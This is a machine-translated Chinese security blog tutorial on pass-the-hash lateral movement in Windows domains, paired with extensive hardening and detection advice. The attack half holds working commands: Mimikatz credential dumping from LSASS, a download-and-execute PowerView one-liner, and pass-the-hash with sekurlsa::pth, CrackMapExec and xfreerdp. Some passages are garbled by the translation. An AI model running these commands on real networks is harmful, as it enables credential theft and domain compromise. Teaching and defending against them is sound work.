通往DA的路

  • A+

简述

原文:https://blog.zsec.uk/path2da-pt3/
标题:Pass the Way to DA (直译:通往DA的路)
作者:ANDY GILL
发布日期:2021年1月18日
传参攻击攻击源于拥有一段信息,在这些例子中,这将是一个哈希值、一组凭证或 Ker
beros 票据,然后利用它们在整个网络中横向移动。

介紹

继:续第二部分,在那里我谈到了所有关于kerberoasting和asreproasting,他们是一个问题,以及如何利用和防御他们。现在进入Pass the X attacks(传参攻击),Pass the hash,pass the ticket,pass the credential。通过网络横向穿越的可能动作,如果你错过了第1和第2部分,可以在这里找到。
* https://blog.zsec.uk/path2da-pt1/
* https://blog.zsec.uk/path2da-pt2/
1. Introduction
2. Improving Defense Overall
3. Pass The Hash(T1550.002)
4. In Summary
5. Added Extras

Pass the X attacks(传参攻击)起源于拥有一条信息,在这篇文章的例子中,这将是一个哈希,然后利用它们在整个网络中横向移动。这些攻击大多可以从域内加入的机器或网络上但在域外的攻击者机器进行。
从攻击的角度来看,只有当我们拥有系统的本地管理员权限后,大部分的攻击都是可以利用的,为此有时利用Kerberoasting/ASREPRoasting或GPPassword攻击可以让我们获得所需的权限。值得注意的是,在没有本地管理员的情况下,横向移动仍然是可能的,但这取决于环境中的其他错误配置。
本篇文章不会深入探讨如何获得本地管理员,而是重点介绍如何利用权限通过攻击进行横向移动.PtH。
然而,由于这篇文章已经长了胳膊和腿,我要做一个单独的帖子,所有关于Kerberos和Over Pass The Hash攻击,让你的域名管理希望覆盖
但是,随着这篇文章的兴起,我将单独撰写有关Kerberos和Over Pass Hash攻击的文章,以使您成为域管理员,希望涵盖:
* Pass The Ticket
* Unconstrained Delegation
* Constrained Delegation
* Golden Tickets
* Silver Tickets
* Kerberos Trickery

全面改善防御

在进入这篇博文的主体部分之前,如果你还没有启用defender enable,我会推荐你使用defender enable。
启用高级 PowerShell 日志记录
为了帮助获得PowerShell在环境中执行时的可见性。PowerShell在攻击者中获得了巨大的人气。相当多的高级持久性威胁(APT)组织正在使用类似的框架来阻碍归因。至少需要PowerShell版本5才能启用日志记录功能。启用此功能可提供PowerShell模块日志记录、脚本块日志记录(命令的输入/输出)和自动可疑脚本检测。它还消除了编码的PowerShell命令的混淆。
Windows 7包含PowerShell版本2,Windows 10包含版本5,但禁用了日志记录。一个常见的攻击策略是将PowerShell降级以绕过检测。为了检测降级攻击,"Windows PowerShell "经典事件日志有事件ID 400。这是 "引擎生命周期 "事件,包括引擎版本。另一种解决方案是用.NET技术删除PowerShell v2。
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
++启用高级事件日志/创建进程++
进程执行是任何恶意感染或在系统上运行的关键。可以通过组策略启用事件ID为4688的进程创建日志。这个事件会产生大量的噪音,因此需要在事件发生后进行一些过滤,因为它将捕获所有正在执行的内容。日志可能会捕获命令行密码作为提交的参数,因此,攻击者可以通过查看事件日志来获取。

这可以通过配置审计策略来启用,以审计本地安全策略内创建进程的成功和失败。也可以通过组策略来应用。

Pass the has(T1550.002)

Pass the hash (PtH) 是一种在没有用户明文密码的情况下,以用户身份认证特定服务的技术。它可以证明是非常有用的移动整个网络,用户的帐户可能有一个强大的密码,但你作为攻击者已经获得了他们的哈希访问。如果指的是MITRE ATT&CK PtH攻击携带T1075的TTP或T1550.002的子技术。
在这种技术中,使用各种方法捕获正在使用的账户的有效密码哈希,通常它们被用来升级权限并在网络中移动。通常我们可以利用本地管理权限来获得更多的系统上的访问权限。 捕获的哈希值与PtH一起使用,以验证为该用户。一旦通过认证,PtH就可以用来对本地或远程系统进行操作。这种技术特别是可以经常用于从有限用户提取到本地管理员,甚至在某些情况下,提取到域管理员。

在我们深入探讨这个问题的核心之前,值得了解一些windows认证的基础知识。当用户通过网络登录系统并输入他们的用户名和密码时,密码永远不会通过网络发送,而是发送一个哈希值。本质上,这些凭证以NTLM格式存储,并由机器上的本地安全局(LSASS.exe)管理,当用户通过身份验证进入其系统时,可以对网络上的其他服务进行身份验证,这就像windows内的单点登录(SSO)。

构建

本实验室的设置将是以下系统(你可以用更多的系统,但为了演示目的,少即是多)。
* Windows Server 2012 R2 - 域控制器
* Windows 7专业版-工作站/攻击者主机
* Windows 10 Pro - 第二台工作站/攻击者主机
和很多在实验室内构建这些问题一样,我们要让系统故意不安全,来演示这个问题! 首先,最重要的是PtH攻击的工作,SMB签名将需要被禁用,它是在Windows 7的默认情况下。现在,你们中的一些人可能会想,但Windows 7和2k12是旧的,因此过时的实验室上?对于这些人,我说还有几十万甚至几百万的这些系统在野!
* "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 1 -Force
* Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" EnableSecuritySignature -Type DWORD -Value 0 -Force
* Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" RequireSecuritySignature -Type DWORD -Value 0 -Force
除了禁用SMB签名外,我们还将在目标主机上启用远程登录,以启用PSExec和其他讨厌的东西。此外,我们将启用缓存凭证,以允许从内存中刮取更多的hashes(哈希值)。

启用PSExec的注册密钥

  • REG add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
  • REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 1 /f
  • REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
  • REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 1 /f
  • REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f

启用缓存证书

  • REG add `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount`

最后,我们要在我们的设置上启用远程桌面协议(如果还没有启用),这可以通过利用PowerShell来完成。我们这样做的原因是在大多数企业环境中,它是为管理而启用的。作为攻击者,我们可以通过哈希来获得RDP的访问权限。
以管理员身份打开PowerShell并运行:
* Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value `0`
* Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
当所有这些都添加完毕后,就可以进行一些分解、转储和传递这些哈希值了!

image.png
最后,要启用Pass-The-Hash(一种NTLM哈希)来创建与Windows工作站或服务器的远程桌面连接,我们需要启用受限的管理模式(这在某些情况下确实有助于抵御其他攻击!)。
* REG add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
这个设置默认不存在,所以需要创建,上面的命令就可以做到。

突破

现在我们的实验环境已经搭建好了,而且奇妙的不安全,是时候利用一些东西了! 第一件事是首先我们要通过GPPassword抓取本地管理员密码,如Part-1中所述。完成后我们要利用机器上的本地管理员权限来运行MimiKatz从内存中抓取一些哈希值!
需要注意的一件事是,如果大多数EDR / AV /防御产品在磁盘上,它们会把MimiKatz淘汰掉,因此通常在实验环境中我禁用防御者或将其添加为例外。 如果我们要在真实的实时互动中运行它,通常会使用过程挖空或其他规避技术将其反射地加载到内存中。
我将使用mimikatz演示从内存中提取哈希值,但还有很多其他技术,包括使用任务管理器转储lsass进程并从文件中提取哈希值。
.dmp

所需工具:

阶段1:获取哈希值

使用管理员帐户,我们将进入管理员PowerShell会话,并运行MimiKatz:
Invoke-MimiKatz.ps1 -DumpCreds
这将转储出内存中运行的凭证,如图所示:

image.png
我们也可以下载并编译二进制文件,然后以本地管理员身份在端点上执行以下内容:
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords

image.png
从这两个输出中可以看出,可以同时提取管理员用户的NTLM哈希值,我们可以在传递哈希值和传递凭证类型的攻击中使用。

我们也可以通过使用任务管理器和mimikatz在离线攻击中转储LSASS,据此我们转储进程并提取密码,而不与LSASS交互(然而,这确实涉及到接触磁盘与放弃DMP文件)。
* 打开Taskmgr.exe
* 导航到详细信息并找到lsass.exe。

image.png
* 右键点击LSASS并选择创建转储文件,这将会把LSASS的内存转储到AppData的一个位置:

image.png
如果我们导航到这个位置,应该会有一个lsass.DMP文件:

image.png
Mimikatz将很乐意接受dmp文件,并使我们能够使用以下方法读取数据:
Invoke-Mimikatz -Command '"sekurlsa::minidump C:\\share\\lsass.DMP" "sekurlsa::logonpasswords"'
如果你使用的是MimiKatz.exe,它们自己的命令是(你的lsass.DMP文件的路径是我们之前创建的):C:\sharelsass.DMP

mimikatz# sekurlsa::minidump C:\share\lsass.DMP
mimikatz# sekurlsa::logonpasswords

这两个命令要做的是加载MimiKatz内置的minidump工具,并利用logonpasswords命令提取凭证,方法和我们在帖子前面的活一样。这样就会得到类似下图的输出:

image.png
从攻击的角度来看,如果利用上述技术,一定要把LSASS.dmp文件从机器上取下来或把文件中的信息删除。
对于defenders的补充说明,一定要检查lsass.dmp或其他.dmp文件,因为攻击者可能会忘记清理自己,这将使你能够做的是识别是否:C:Users\App\AppData\Local\Temp\
* 机器已经被入侵。
* 内存中的用户密码或哈希值是什么,还有哪些凭证可能在攻击中被泄露。

第二阶段:列举访问权限

一旦我们有了一个用户的NTLM,下一步的逻辑就是找出他们有哪些访问权限,以及我们想要在网络上移动的位置。为了做到这一点,我们需要利用一些工具来查看用户在哪里有访问权限,以及从我们当前的网络位置可以访问什么。
我们可以利用诸如SharpView或PowerView这样的工具来查看用户在域中哪些地方有登录的权限,以及他们在哪些组中(注意,这也可以通过net user这样的工具来完成,但这只能显示这么多信息)。
两者都可以在PowerShell会话中加载,而且两者都有类似的方法,SharpView可以通过C2(如Covenant或Cobalt Strike)进行反射式加载,这在进行对手模拟攻击或红队评估时非常有效。

PowerView

要将PowerView加载到PowerShell中,可以使用下面的命令作为单行命令(假设机器可以访问互联网并且在域上):
* powershell.exe-exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"

上面的命令从PowerSploit资源库下载PowerView,并将其导入到当前会话中,注意这可以从任何用户运行,不需要本地管理员来做。它将会在Windows 10主机上跳过反恶意软件扫描接口(AMSI),所以要注意(这就是像AMSI旁路和C#可以发挥作用的地方)。
* Get-DomainUser -Identity Administrator | Select-Object memberof | Ft -autosize -wrap
上面将列出Administrator用户所属于的组,它还将包装输出,以便我们可以看到所有的组,而不是被PowerShell截断。

image.png
在这个特殊的情况下,我们已经中了大奖,因为这个Administrator用户既是Domain Admin,也是Enterprise Admin(意味着希望我们可以认证到域控制器)。然而,为了确认,我们可以利用PowerView内置的功能,来查找用户的会话:Find-DomainUserLocation
* Find-DomainUserLocation -UserIdentity Administrator
PowerView的这个功能会枚举当前域内的所有机器,然后查询域内特定组的用户,利用这些信息,它会利用域内组成员,并结合net session来查找我们目标用户被认证的任何机器。 找到的用户列表会和目标列表进行对比,如果有匹配的用户就会显示出来。

image.png
从运行这个过程中,我们可以看到我们的目标用户是通过DC1.purplehaze.defense认证的,同时也是WS03.purplehaze.defense认证的,因为我们有他们的NTLM哈希值,我们可以在下面的横向移动阶段利用这个。

SharpView

与PowerView类似,SharpView也内置了很多功能,它们的执行方式也很相似,如果是直接在机器上执行,只需执行.\SharpView,如果是通过Cobalt Strike执行(我不会在这篇博文中涉及),只需在命令前加上execute-assembly(在Cobalt Strike中)。
* SharpView.exe Get-DomainUser -Identity Administrator

image.png
同样,该函数可以通过使用以下方法来利用:Find-DomainUserLocation
* SharpView.exe Find-DomainUserLocation -UserIdentity Administrator

image.png
同样我们可以看到用户在WS03和DC1上有一个会话,这些信息结合横向移动将使我们能够穿越网络。

利用Bloodhound还可以让你看到某些用户在网络上有通往其他机器的路径,因为它在下面使用了PowerView/SharpView。我在过去写过关于如何设置Bloodhound以及它的工作原理,你可以在这里找到帖子。

第三阶段:横向运动

一旦我们弄清楚了目标用户的登录权限,我们就可以有针对性地利用传递哈希的方法进行横向移动,这些方法包括但不限于。
* psexec/smb exec
* remote desktop protocol(RDP)
* WMI
* DCOM
* WinRm
现在我们有了用户的信息,他们在哪里登录,以及他们有什么级别的访问权限,现在是时候通过这个哈希值,访问他们有权限的机器了。我将用MimiKatz、CrackMapExec(SMB Exec)和RDP来演示。

MimiKatz Pass The Hash
由于我们已经使用了MimiKatz,利用传递哈希类型的攻击是相当直接的。只要使用模块sekurlsa::pth
sekurlsa::pth /user:PH\Administrator /ntlm:HASH /domain:purplehaze.defense /run:powershell.exe
该命令应该生成一个新的进程,该进程具有我们要冒充的用户的证书。powershell.exe

image.png

image.png
我们现在可以通过访问网络上的其他资源:
pushd \\DC1.purplehaze.defense\C$
dir

这将使我们进入网络位置,并使我们能够列出域控制器上的目录:C$

image.png
CrackMapExec
切换到我们的Kali机器上进行接下来的几次攻击,首先是利用CrackMapExec。这将使我们能够通过哈希来进行很多不同的攻击类型!
我不打算深入探讨如何部署和安装crackmap,但是在github页面上有很好的解释。一旦安装完成,就可以用cme来执行。
cme smb 10.10.100.1/24 -u Administrator -H HASHVALUE
上面的命令将使用我们之前找到的哈希值,让你可以用用户名和密码来喷洒一个IP或一系列IP,如果用户在机器/IP上有本地管理员,CME将返回Pwned! 如果用户在机器/IP上有本地管理员,CME将返回Pwned!。下面是一个对10.10.100.1/24执行的例子:

image.png
截图显示,在发现的4台机器中,有3台我们有本地管理员,第4台我们没有访问权限的机器与域的其他机器没有信任关系,因此无法对我们进行认证。CME可以实现很多不同的攻击,但为了快速验证概念,我将使用在远程系统上执行hostname后跟dir命令的方法.-X "hostname;dir"

image.png
RDP

我要演示的最后一个攻击是通过Pass The Hash进行RDP攻击(现在只有在远程主机上启用了限制性管理员的情况下才能实现)。有两种方法可以做到这一点,第一种是利用MimiKatz,方法和我们使用powershell的方法一样,只是这次用mstsc /restrictedadmin替换powershell.exe。
sekurlsa::pth /user:PH\Administrator /ntlm:HASH /domain:purplehaze.defense /run:"mstsc.exe /restrictedadmin"

image.png
如果攻击成功,我们就可以在不提示密码的情况下对远程主机进行认证。

image.png
同样这种攻击也可以在Linux上使用xFreeRDP进行:

image.png
xfreerdp /v:HOST /u:PH\\Administrator /pth:HASH

image.png

image.png
就这样,我们通过PTH进入了我们在DC上的RDP会话!

修复

我们可以对系统做很多事情来加固它,并有效地修复它,防止传递哈希类型的攻击。 由于这种攻击有三个阶段,所以也有三个阶段的修复方法,我建议你应用这些方法来加固你的系统。
* 第1阶段--对米米卡兹的防守
* 第2阶段 - 监测SharpView/PowerView的使用情况
* 第3阶段----监测和预防PtH侧向运动。
我将要演示的第一个修复方法是如何硬化系统以防止MimiKatz运行。这本身在很大程度上会帮助硬化系统,防止传递哈希和传递凭证攻击,因此修复和防御的方法要相似。
++在所有终端设备上禁用调试权限++
Mimikatz与LSASS等进程交互时需要此权限。因此,重要的是将此权限仅设置为需要此权限的特定人群,并将其从本地Administrators中删除。可以通过定义策略不包含用户或组来禁用该权限.SeDebugPrivilege
调试权限决定了哪些用户可以将调试器连接到任何进程或内核。默认情况下,这个权限是给本地管理员的。然而,除非本地管理员经常进行涉及调试器的操作,否则他们不太可能需要这个权限,但有些开发人员可能需要这个设置。要禁用它,可以在组策略中进行以下设置:
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies> User Rights Assignment > Debug Programs
只要删除管理员即可:

image.png
当新策略在整个域中应用时,一个攻击者如果设法将其权限升级为本地管理员,他们将无法利用这个权限。MimiKatz将用以下消息进行响应。

image.png
++在所有终端设备上禁用WDigest++
WDigest协议是在Windows XP中引入的,旨在与HTTP协议一起用于认证。微软在从XP到Server 2012/Windows 8的多个版本的Windows中默认启用该协议。该协议会使清晰的文本凭证存储在本地安全授权子系统服务(LSASS)中。从Windows Server 2012 R2开始,该协议默认被禁用,但在2012 R2之前的操作系统上,需要通过注册表禁用,同样可以通过组策略对象实现。
HKEY\_LOCAL\_MACHINE\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest
应将和注册表键值设置为完全禁用该协议。
Negotiate``UseLogonCredential``0

image.png
一旦禁用,MimiKatz将给攻击者提供以下错误,这将进一步限制他们对系统的访问。

image.png
++证书缓存++
如果域控制器不可用,Windows 将检查已缓存的最后密码哈希值,以验证用户与系统的关系。这些密码哈希值被缓存在以下注册表设置中:
HKEY\_LOCAL\_MACHINE\\SECURITY\\Cache
以下组策略对象禁用默认情况下缓存的用户认证哈希量。
Computer Configuration -> Policies -> Windows Settings ->Security Settings -> Local Policy -> Security Options -> Interactive Logon: Number of previous logons to cache -> 0
需要注意的是,虽然这个设置会减少缓存凭证的数量,但如果用户从域机器连接到VPN,可能值得将其设置为只缓存他们的凭证,以防域控制器无法进行验证。
++附加LSA保护++
LSASS可以验证本地和远程登录的用户,并执行本地安全策略。从Windows 8.1和更高版本开始,对LSA有额外的保护,以防止不受信任的进程能够读取其内存或注入代码。建议Windows Server 2012 R2和Windows 8.1之前的系统应启用LSA保护,以防止MimiKatz访问LSASS进程的特定内存位置。可以通过在以下注册表位置创建注册表键并设置值来启用该保护功能.RunAsPPL1
HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LSA

image.png
在启用了LSA保护的系统中,攻击者会得到以下错误:

image.png
KB2871997可以应用在用户注销后清理LSA中的凭证,默认情况下,每当用户登录时,Windows都会将用户的凭证缓存到LSASS进程中。其中包括用户的明文密码、用户的NT/LM密码哈希以及用户的Kerberos TGT/Session密钥。当用户注销时,凭证应该从内存中清除。在本次更新之前,情况并非总是如此。现在,这个阻碍凭证被清除的问题已经解决了,在用户注销后,凭证将始终从内存中清除。
除了上述KB更新外,Windows 7和Windows 8上的非保护用户的默认设置是不强制清除泄漏的登录会话凭证。要覆盖该默认值,请添加以下注册表 ,并将其设置为推荐值.DWORD30秒。
HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\TokenLeakDetectDelaySecs
这将在30秒后触发清除任何已注销用户的凭证,无论是否还有引用。
++Protected Users++
从Windows Server 2012和更高版本开始,有一个名为 "受保护用户 "的功能,它是活动目录中的一个特殊安全组。该组使域管理员能够保护像本地管理员一样的特权用户,因为任何账户是该组的一部分,只能通过Kerberos与域进行身份验证。这将有助于防止敏感账户的NTLM密码哈希或LSASS中的明文凭证泄漏,而这些账户通常是攻击者的目标。

image.png
属于该安全组的账户将自动进入 Kerberos 策略的认证范围,建议配置如下:

image.png
另外,也可以通过执行以下命令从PowerShell将账户添加到组中:Protected Users
Add-ADGroupMember –Identity 'Protected Users' –Members Jane
旧的操作系统,如Windows Server 2008,仍然可以通过应用微软的KB2871997补丁来拥有这个安全组.
++禁用AD中的明文密码存储++

在组策略中,有几个传统的向后兼容设置是默认启用的。可逆加密 "设置就是其中之一。

要禁用此功能,请在组策略中导航到:

Computer Configuration > Security Settings > Account Policies > Password Policy, and set to :Store Passwords using reversible encryption``Disabled

image.png
++启用受限管理模式++

这将RDP会话设置为不在目标主机的内存中存储凭证,从而降低了攻击者通过转储LSASS进程检索缓存凭证的风险。 要在受限管理模式下启动会话,请以下列方式运行 RDP 会话。

mstsc /restrictedadmin /v:targethost
设置也可以从一些注册表键值进行调整
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa,将DWORD值DisableRestrictedAdmin设置为启用受限模式(此设置默认不存在,因此需要创建)0
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa,要创建和设置的值是:DWORDDisableRestrictedAdminOutboundCreds。
- 默认值= ,管理出站密码已启用0
- 此项应设置为==禁用Admin Outbound Creds1。
除了上述注册表键值外,还可以在Windows中设置默认值,限制GPO范围内的域成员发起的所有RDP会话。与上述注册表键值相比,这通常是首选,因为它可以应用于一组用户。该设置位于以下位置:
计算机配置 > 策略 > 管理模板 > 系统 > 凭证授权,然后将限制对远程服务器的凭证授权设置为和 .EnableRequire Restricted Admin。

++为RDP会话执行NLA(网络级认证)++
NLA在RDP会话建立之前,强制通过TLS进行RDP认证(使用名为CredSSP的协议)。这意味着该设置可以防御 LLMNR 欺骗和类似攻击。 然而,该设置通常与上文各小节所述的受限管理模式和受保护用户组结合部署。
要在组策略中强制执行,可以为服务器和工作站/客户端设置以下GPOs:
服务器:
计算机配置/策略/管理模板/Windows组件/远程桌面服务/远程桌面会话主机/安全。
启用:通过使用网络级认证要求用户对远程连接进行认证。
对于工作站:
计算机配置/策略/管理模板/Windows组件/远程桌面服务/远程桌面连接客户端。
启用:为客户端配置服务器认证,在下拉菜单中选择如果认证失败就不要连接。
++移除PSExec的权限++
为了防止PSExec,我们要解除我们在这个技术的构建阶段设置的密钥。
* REG add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 0 /f
* REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 0 /f
* REG delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
* REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 0 /f
* REG delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
以上演示了针对MimiKatz对端点进行加固的步骤,还可以通过启用Defender实时保护、禁用PowerShell第2版等步骤来进一步加固端点,我已经写了一个加固脚本,可以做到以上所有步骤加上其他阶段的工作,以帮助加固系统:
https://github.com/ZephrFish/WindowsHardeningScript

防御

由于上述攻击有多个阶段,有效的检测策略也有多个阶段。

为了有效地检测传递哈希攻击,有一些技术可以利用。然而,重要的是,作为防御者,我们要能够对网络上的正常流量进行基线,以试图识别恶意活动。如果没有基线,检测有时会更加困难!

普通活动

在正常环境中执行NTLM登录活动时,会生成以下事件ID。
Logs on the Client/Workstation:

  • 4648 – A logon was attempted using explicit credentials.
  • 4624 – An account was successfully logged on.
  • 4672 – Special privileges assigned to new logon.

Logs on the Domain Controller

  • 4768 – A Kerberos authentication ticket (TGT) was requested.
  • 4769 – A Kerberos service ticket was requested.
  • 4776 – The computer attempted to validate the credentials for an account.

Pass The Hash 事件

当发生传递散列攻击时,攻击者主机、目标和主域控制器上会产生以下事件ID。
* Source Host

4648 – A logon was attempted using explicit credentials.

4624 – An account was successfully logged on. (Logon type = 9 Logon Process = Seclogo)

4672 – Special privileges assigned to new logon. (Logged on user, not impersonated user)
* Target Host

4624 – An account was successfully logged on. (Logon Type 3, NTLM)

4672 – Special privileges assigned to new logon.
* Domain Controller

4776 – The computer attempted to validate the credentials for an account.
我们可以利用Splunk通过以下查询来识别Pass The Hash被使用的迹象:
index=main EventCode=4624 Logon_Type=9 Authentication_Package=Negotiate Logon_Process=seclogo
index=main Logon_Process=Seclogo Logon_Type!=2

Logon_Type=9 "和 "Logon_Process=Seclogo "都会出现在目标主机的事件日志中,PtH发生的地方具体是4624--An Account was successfully logged on(Logon type = 9 Logon Process = Seclogo)。

虽然windows的事件日志很好,但为了全面覆盖PtH类型的攻击,建议部署Sysmon(我以前写过关于如何在实验室设置Splunk和Sysmon的文章,该文章可以在这里找到)。

以下的Sysmon事件将有助于检测PtH攻击和转储LSASS:
* Sysmon 10 - 事件ID 10将显示从另一个进程如Mimikatz或Powershell访问LSASS进程。
* Sysmon 11 - 这将显示当主机上的文件被创建,具体来说Sysmon可以查询TaskMgr是否创建了一个文件(常见的攻击上面提到的通过从TaskMgr转储然后分析离线)。
* Sysmon 3 - 这将显示成功的RDP连接,如果有一个EID 10,然后是快速连续的3,再加上EID 4624,这可能是传递哈希攻击( pass the hash attacks.)的证据。
下面显示了使用Splunk的其他检测,这将有助于当用户可能使用RDP进行横向移动,这包括通过RDP使用PtH攻击的工具,如xFreeRDP和其他留下类似足迹的工具。

Splunk查询,用于根据摄取的日志追踪潜在的本地管理员账户:
```
index=main earliest=0 ((EventCode=4688 Token_Elevation_Type IN ("(2)","1937")) OR (EventCode=4624 Elevated_Token=Yes))

NOT (
  Account_Name="system" OR 
  (Account_Name="dwm-*" Process_Name="c:\\windows\\system32\\winlogon.exe") OR
  (Security_ID IN ("* service","nt *","iis *") Process_Name IN ("c:\\windows\\system32\\services.exe","c:\\windows\\system32\\svchost.exe"))
)

| eval idx=if(mvindex(Account_Name,1)="-", 0, 1)
| eval user=mvindex(Account_Name,idx)
| eval idx=if(mvindex(Account_Domain,1)="-", 0, 1)
| eval domain=mvindex(Account_Domain,idx)

| eval proc=lower(coalesce(New_Process_Name, Process_Name))
| where NOT (user="-"OR (proc="-" AND match(user,"\$$")))
| eval host=lower(host)

| stats values(host) AS hosts, values(proc) AS process, sparkline, count, max(_time) AS LastSeen
  BY user, domain

| eval _comment="Consider enriching accounts here and filtering known/expected out (more details below)"

| eval process=if(mvcount(process)>10, mvappend("Truncated at 10 entries (".mvcount(process)." total):", mvindex(process,0,9)), process)
| eval hosts=if(mvcount(hosts)>10, mvappend("Truncated at 10 entries (".mvcount(hosts)." total):", mvindex(hosts,0,9)), hosts)

| eval LastSeen=strftime(LastSeen, "%F")
| eval user=domain."\\".user
| fields - domain
| sort 0 -num(count)

以上查询产生的输出结果如下:
![image.png](/img/sin/M00/00/5A/wKg0C2AZOp-AQyRWAAA0anVsFdo944.png)
Splunk 查询用于列出成功的 RDP 会话,并按账户名称列出:

index=main EventCode=4624 LogonType=10 OR LogonType=7 | table IpAddress,TargetUserName,Computer ")| stats count by Account_Name | sort – count
```

登录类型10是针对RDP的,但只有当它是一个全新的RDP会话时才会发射。否则,它将是类型7。

字段中,它是发起RDP连接的源IP,Computer是目标,将使防御者能够根据相关的日志快速协调可疑的RDP会话.
IPAddress

总结

Pass The Hash可以从Linux和Windows环境中执行,有很多的修复方法可以帮助减轻风险,帮助防御者监控事件日志来检测类似的攻击。我们已经看到它很容易实现到环境中,而且有很多工具可以进行这种攻击。

困难总是落在防御和修复措施上,因为并没有真正的一种修复措施,但可以采取一些措施来有效地加固端点。此外,作为防御者,不仅要了解你的环境,而且要积极主动的蓝队,铺设额外的陷阱(以蜜罐或金丝雀令牌的形式)是一个好办法。

从内存中抓取凭证、哈希值和信息可以使攻击者在拥有主机上的本地管理员后相对容易地横向移动到域管理,因此必须加固主机,使这些类型的攻击不可行。

新增的附加功能
此外,如果你想自动部署你的实验室,我的好朋友和同事Aidan写了一些关于自动部署攻击实验室的坏蛋博客文章(基于我的另一个朋友Neil Lines(@MyExploit2600)的伟大工作):
* https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-1/
* https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-2/
* https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-3/
* https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-4/
* https://www.aidanmitchell.uk/orchestrating-the-hacklab-part-5/